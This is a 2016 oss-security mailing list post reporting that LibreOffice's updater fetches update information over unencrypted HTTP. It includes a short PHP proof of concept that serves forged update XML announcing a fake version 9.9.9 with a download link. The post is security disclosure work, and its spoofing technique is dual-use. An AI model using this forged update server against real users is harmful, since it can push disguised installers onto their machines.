Date: Tue, 9 Feb 2016 02:56:28 +0000 From: Sevan Janiyan <venture37@...klan.co.uk> To: oss-security@...ts.openwall.com Subject: Libreoffice updater runs over http Hi, Looking into the validity of an issue which was reported a couple of years back, it seems that it's still possible to spoof the availability of an update for LibreOffice. Unfortunately, I've not been able to get the download to happen as I need to look into what happens when the application requests PROPFIND /check.php?pkgfmt=dmg HTTP/1.1 At this point the download is marked as stalled whilst attempting to download LibreOffice 9.9.9 I'd announced. Though the original report used Windows, I repeated on OS X trying to see if libreoffice could just download a mp4 video, later changed to a dmg. Using the following check.php <?php echo '<?xml version="1.0" encoding="utf-8"?> <inst:description xmlns:inst="http://update.libreoffice.org/description"> <inst:id>LibreOffice 9.9.9</inst:id> <inst:gitid>123456789</inst:gitid> <inst:os>MacOSX</inst:os> <inst:arch>x86</inst:arch> <inst:version>9.9.9</inst:version> <inst:buildid>9999</inst:buildid> <inst:update type="application/octet-stream" src="http://update.libreoffice.org/update.dmg"/> </inst:description>'; ?> Is this of concern at this stage? Sevan  http://www.waraxe.us/advisory-99.html
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Powered by Openwall GNU/*/Linux - Powered by OpenVZ